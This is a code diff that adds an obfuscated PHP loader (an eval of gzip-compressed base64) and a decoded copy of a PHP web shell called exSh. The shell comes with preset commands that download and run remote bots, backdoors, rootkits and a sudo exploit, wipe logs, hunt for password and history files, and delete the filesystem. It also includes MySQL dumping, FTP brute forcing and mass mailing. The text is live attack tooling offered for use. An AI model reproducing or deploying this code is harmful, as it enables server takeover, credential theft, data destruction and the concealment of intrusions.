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"; eval("?>".gzuncompress(base64_decode($bhrt))); ?> diff --git a/php/oi.php.decode.txt b/php/oi.php.decode.txt new file mode 100644 index 0000000..b3420e8 --- /dev/null +++ b/php/oi.php.decode.txt @@ -0,0 +1,3121 @@ + array($sh_mainurl."ssess_0296317ca2b10940f6c11c59805b4dde"), + "Mass Mailer" => array($sh_mainurl."libyex.php"), + "exSh" => array($sh_mainurl."exsh.txt"), + "psyBNC" => array($sh_mainurl."psy.tar.gz"), +); +##[ AUTHENTICATION ]## +$auth = array( + "login" => "", + "pass" => "", + "md5pass" => "", + "hostallow" => array("*"), + "denied" => "".$sh_name.": access denied!", +); +##[ END AUTHENTICATION ]## +$curdir = "./"; +$tmpdir = ""; +$tmpdir_logs = "./"; +$log_email = "sadoquetd@yahoo.com.br"; #Email logna +$sess_cookie = "exshcook"; +$sort_default = "0a"; #Pengurutan, 0 - nomor kolom. "a"scending atau "d"escending +$sort_save = TRUE; #Simpan posisi pengurutan menggunakan cookies. +$usefsbuff = TRUE; +$copy_unset = FALSE; #Hapus file yg telah di-copy setelah dipaste +$surl_autofill_include = TRUE; +$updatenow = FALSE; +$gzipencode = TRUE; +$filestealth = TRUE; #TRUE, tidak merubah waktu modifikasi dan akses. +$hexdump_lines = 8; +$hexdump_rows = 24; +$millink = milw0rm(); +$win = strtolower(substr(PHP_OS,0,3)) == "win"; +$disablefunc = getdisfunc(); +##[ END OF CONFIGS ]## +error_reporting(E_ERROR | E_PARSE); +@ini_set("max_execution_time",0); +@set_time_limit(0); #No Fx in SafeMode +@ignore_user_abort(TRUE); +@set_magic_quotes_runtime(0); +define("starttime",getmicrotime()); +if (get_magic_quotes_gpc()) { strips($GLOBALS); } +$_REQUEST = array_merge($_COOKIE,$_GET,$_POST); +@$f = $_REQUEST["f"]; +@extract($_REQUEST["exshcook"]); +foreach($_REQUEST as $k => $v) { if (!isset($$k)) { $$k = $v; } } +if ($surl_autofill_include) { + $include = "&"; + foreach (explode("&",getenv("QUERY_STRING")) as $v) { + $v = explode("=",$v); + $name = urldecode($v[0]); + $value = @urldecode($v[1]); + foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) { + if (strpos($value,$needle) === 0) { + $includestr .= urlencode($name)."=".urlencode($value)."&"; + } + } + } +} +if (empty($surl)) { + $surl = "?".$includestr; + $surl = htmlspecialchars($surl); +} +## FILE TYPES ## +$ftypes = array( + "html" => array("html","htm","shtml"), + "txt" => array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), + "exe" => array("sh","install","bat","cmd"), + "ini" => array("ini","inf","conf"), + "code" => array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), + "img" => array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), + "sdb" => array("sdb"), + "phpsess" => array("sess"), + "download" => array("exe","com","pif","src","lnk","zip","rar","gz","tar") +); +$exeftypes = array( + getenv("PHPRC")." -q %f%" => array("php","php3","php4"), + "perl %f%" => array("pl","cgi") +); +$regxp_highlight = array( + array(basename($_SERVER["PHP_SELF"]),1,"",""), + array("\.tgz$",1,"",""), + array("\.gz$",1,"",""), + array("\.tar$",1,"",""), + array("\.bz2$",1,"",""), + array("\.zip$",1,"",""), + array("\.rar$",1,"",""), + array("\.php$",1,"",""), + array("\.php3$",1,"",""), + array("\.php4$",1,"",""), + array("\.jpg$",1,"",""), + array("\.jpeg$",1,"",""), + array("\.JPG$",1,"",""), + array("\.JPEG$",1,"",""), + array("\.ico$",1,"",""), + array("\.gif$",1,"",""), + array("\.png$",1,"",""), + array("\.htm$",1,"",""), + array("\.html$",1,"",""), + array("\.txt$",1,"","") +); +## QUICK COMMANDS ## +if (!$win) { + $cmdaliases = array( + array("", "ls -al"), + array("Find all suid files", "find / -type f -perm -04000 -ls"), + array("Find suid files in current dir", "find . -type f -perm -04000 -ls"), + array("Find all sgid files", "find / -type f -perm -02000 -ls"), + array("Find sgid files in current dir", "find . -type f -perm -02000 -ls"), + array("Find config.inc.php files", "find / -type f -name config.inc.php"), + array("Find config* files", "find / -type f -name \"config*\""), + array("Find config* files in current dir", "find . -type f -name \"config*\""), + array("Find all writable folders and files", "find / -perm -2 -ls"), + array("Find all writable folders and files in current dir", "find . -perm -2 -ls"), + array("Find all writable folders", "find / -type d -perm -2 -ls"), + array("Find all writable folders in current dir", "find . -type d -perm -2 -ls"), + array("Find all service.pwd files", "find / -type f -name service.pwd"), + array("Find service.pwd files in current dir", "find . -type f -name service.pwd"), + array("Find all .htpasswd files", "find / -type f -name .htpasswd"), + array("Find .htpasswd files in current dir", "find . -type f -name .htpasswd"), + array("Find all .bash_history files", "find / -type f -name .bash_history"), + array("Find .bash_history files in current dir", "find . -type f -name .bash_history"), + array("Find all .fetchmailrc files", "find / -type f -name .fetchmailrc"), + array("Find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"), + array("List file attributes on a Linux second extended file system", "lsattr -va"), + array("Show opened ports", "netstat -an | grep -i listen") + ); + $cmdaliases2 = array( + array("wget & extract Rfi-Bot","wget ".$sh_mainurl."ssess_0296317ca2b10940f6c11c59805b4dde;perl ssess_0296317ca2b10940f6c11c59805b4dde"), + array("wget & extract Mass Mailer","wget ".$sh_mainurl."libyex.php"), + array("wget & extract psyBNC","wget ".$sh_mainurl."psy.tar.gz;tar -zxf fx.tgz;cd .psy;./config 50000;./fuck;./run"), + array("-----",""), + array("Logged in users","w"), + array("Last to connect","lastlog"), + array("Find Suid bins","find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null"), + array("User Without Password","cut -d: -f1,2,3 /etc/passwd | grep ::"), + array("Can write in /etc/?","find /etc/ -type f -perm -o+w 2> /dev/null"), + array("Downloaders?","which wget curl w3m lynx fetch lwp-download"), + array("CPU Info","cat /proc/version /proc/cpuinfo"), + array("Is gcc installed ?","locate gcc"), + array("Format box (DANGEROUS)","rm -Rf"), + array("-----",""), + array("wget WIPELOGS PT1","wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c"), + array("gcc WIPELOGS PT2","gcc zap2.c -o zap2"), + array("Run WIPELOGS PT3","./zap2"), + array("-----",""), + array("wget RatHole 1.2 (Linux & BSD)","wget http://packetstormsecurity.org/UNIX/penetration/rootkits/rathole-1.2.tar.gz"), + array("wget & run BindDoor","wget ".$sh_mainurl."bind.tgz;tar -zxvf bind.tgz;./4877"), + array("wget Sudo Exploit","wget http://www.securityfocus.com/data/vulnerabilities/exploits/sudo-exploit.c"), + ); +} +else { + $cmdaliases = array( + array("", "dir"), + array("Find index.php in current dir", "dir /s /w /b index.php"), + array("Find *config*.php in current dir", "dir /s /w /b *config*.php"), + array("Find c99shell in current dir", "find /c \"c99\" *"), + array("Find r57shell in current dir", "find /c \"r57\" *"), + array("Find exshell in current dir", "find /c \"ex\" *"), + array("Show active connections", "netstat -an"), + array("Show running services", "net start"), + array("User accounts", "net user"), + array("Show computers", "net view"), + ); +} +## PHP FILESYSTEM TRICKS (By eX) ## +$phpfsaliases = array( + array("Read File", "read", 1, "File", ""), + array("Write File (PHP5)", "write", 2, "File","Text"), + array("Copy", "copy", 2, "From", "To"), + array("Rename/Move", "rename", 2, "File", "To"), + array("Delete", "delete", 1 ,"File", ""), + array("Make Dir","mkdir", 1, "Dir", ""), + array("Download", "download", 2, "URL", "To"), + array("Download (Binary Safe)", "downloadbin", 2, "URL", "To"), + array("Change Perm (0755)", "chmod", 2, "File", "Perms"), + array("Find Writable Dir", "fwritabledir", 2 ,"Dir"), + array("Find Pathname Pattern", "glob",2 ,"Dir", "Pattern"), +); +## QUICK LAUNCH ## +$quicklaunch1 = array( + array("\"Home\"",$surl), + array("\"Back\"","#\" onclick=\"history.back(1)"), + array("\"Forward\"","#\" onclick=\"history.go(1)"), + array("\"Up\"",$surl."act=ls&d=%upd&sort=%sort"), + array("\"Search\"",$surl."act=search&d=%d"), + array("\"Buffer\"",$surl."act=fsbuff&d=%d") +); +$quicklaunch2 = array( + array("Security Info",$surl."act=security&d=%d"), + array("Processes",$surl."act=processes&d=%d"), + array("MySQL",$surl."act=sql&d=%d"), + array("Eval",$surl."act=eval&d=%d"), + array("Encoder",$surl."act=encoder&d=%d"), + array("Mailer",$surl."act=fxmailer"), + array("milw0rm",$millink), + array("Md5-Lookup","http://darkc0de.com/database/md5lookup.html"), + array("Toolz",$surl."act=tools&d=%d"), + array("Kill-Shell",$surl."act=selfremove"), + array("Feedback",$surl."act=feedback"), + array("Update",$surl."act=update"), + array("About",$surl."act=about") +); +if (!$win) { + $quicklaunch2[] = array("
FTP-Brute",$surl."act=ftpquickbrute&d=%d"); +} +## HIGHLIGHT CODE ## +$highlight_background = "#C0C0C0"; +$highlight_bg = "#FFFFFF"; +$highlight_comment = "#6A6A6A"; +$highlight_default = "#0000BB"; +$highlight_html = "#1300FF"; +$highlight_keyword = "#007700"; +$highlight_string = "#000000"; +#################### +##[ AUTHENTICATE ]## +#################### +$tmp = array(); +foreach ($auth["hostallow"] as $k => $v) { + $tmp[] = str_replace("\\*",".*",preg_quote($v)); +} +$s = "!^(".implode("|",$tmp).")$!i"; +if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) { + exit("$sh_name: Access Denied - Your host (".getenv("REMOTE_ADDR").") not allowed"); +} +if (!empty($auth["login"])) { + if (empty($auth["md5pass"])) { $auth["md5pass"] = md5($auth["pass"]); } + if (($_SERVER["PHP_AUTH_USER"] != $auth["login"]) or (md5($_SERVER["PHP_AUTH_PW"]) != $auth["md5pass"])) { + header("WWW-Authenticate: Basic realm=\"".$sh_name.": Restricted Area\""); + header("HTTP/1.0 401 Unauthorized"); + die($auth["denied"]); + } +} +## END AUTHENTICATE ## + +if ($act != "img") { + $lastdir = realpath("."); + chdir($curdir); + if ($updatenow) { @ob_clean(); exsh_getupdate(1); exit; } + $sess_data = @unserialize($_COOKIE["$sess_cookie"]); + if (!is_array($sess_data)) { $sess_data = array(); } + if (!is_array($sess_data["copy"])) { $sess_data["copy"] = array(); } + if (!is_array($sess_data["cut"])) { $sess_data["cut"] = array(); } + ex_buff_prepare(); + foreach (array("sort","sql_sort") as $v) { + if (!empty($_GET[$v])) {$$v = $_GET[$v];} + if (!empty($_POST[$v])) {$$v = $_POST[$v];} + } + if ($sort_save) { + if (!empty($sort)) {setcookie("sort",$sort);} + if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);} + } + if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}} + if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}} + if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}} + if (!function_exists("mysql_dump")) { + function mysql_dump($set) { + global $sh_ver; + $sock = $set["sock"]; + $db = $set["db"]; + $print = $set["print"]; + $nl2br = $set["nl2br"]; + $file = $set["file"]; + $add_drop = $set["add_drop"]; + $tabs = $set["tabs"]; + $onlytabs = $set["onlytabs"]; + $ret = array(); + $ret["err"] = array(); + if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} + if (empty($db)) {$db = "db";} + if (empty($print)) {$print = 0;} + if (empty($nl2br)) {$nl2br = 0;} + if (empty($add_drop)) {$add_drop = TRUE;} + if (empty($file)) { + $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql"; + } + if (!is_array($tabs)) {$tabs = array();} + if (empty($add_drop)) {$add_drop = TRUE;} + if (sizeof($tabs) == 0) { + //Retrieve tables-list + $res = mysql_query("SHOW TABLES FROM ".$db, $sock); + if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} + } + $out = " + # Dumped by ".$sh_name." + # + # Host settings: + # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"." + # Date: ".date("d.m.Y H:i:s")." + # DB: \"".$db."\" + #---------------------------------------------------------"; + $c = count($onlytabs); + foreach($tabs as $tab) { + if ((in_array($tab,$onlytabs)) or (!$c)) { + if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";} + //Receieve query for create table structure + $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); + if (!$res) {$ret["err"][] = mysql_smarterror();} + else { + $row = mysql_fetch_row($res); + $out .= $row["1"].";\n\n"; + //Receieve table variables + $res = mysql_query("SELECT * FROM `$tab`", $sock); + if (mysql_num_rows($res) > 0) { + while ($row = mysql_fetch_assoc($res)) { + $keys = implode("`, `", array_keys($row)); + $values = array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = implode("', '", $values); + $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; + $out .= $sql; + } + } + } + } + } + $out .= "#---------------------------------------------------------------------------------\n\n"; + if ($file) { + $fp = fopen($file, "w"); + if (!$fp) {$ret["err"][] = 2;} + else { + fwrite ($fp, $out); + fclose ($fp); + } + } + if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} + return $out; + } + } + if (!function_exists("mysql_buildwhere")) { + function mysql_buildwhere($array,$sep=" and",$functs=array()) { + if (!is_array($array)) {$array = array();} + $result = ""; + foreach($array as $k=>$v) { + $value = ""; + if (!empty($functs[$k])) {$value .= $functs[$k]."(";} + $value .= "'".addslashes($v)."'"; + if (!empty($functs[$k])) {$value .= ")";} + $result .= "`".$k."` = ".$value.$sep; + } + $result = substr($result,0,strlen($result)-strlen($sep)); + return $result; + } + } + if (!function_exists("mysql_fetch_all")) { + function mysql_fetch_all($query,$sock) { + if ($sock) {$result = mysql_query($query,$sock);} + else {$result = mysql_query($query);} + $array = array(); + while ($row = mysql_fetch_array($result)) {$array[] = $row;} + mysql_free_result($result); + return $array; + } + } + if (!function_exists("mysql_smarterror")) { + function mysql_smarterror($type,$sock) { + if ($sock) {$error = mysql_error($sock);} + else {$error = mysql_error();} + $error = htmlspecialchars($error); + return $error; + } + } + if (!function_exists("mysql_query_form")) { + function mysql_query_form() { + global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error:
".$sql_query_error."
";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) { + echo ""; + if ($tbl_struct) { + echo "
"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":



Fields:
"; + foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "+ ".$name."
";} + echo "
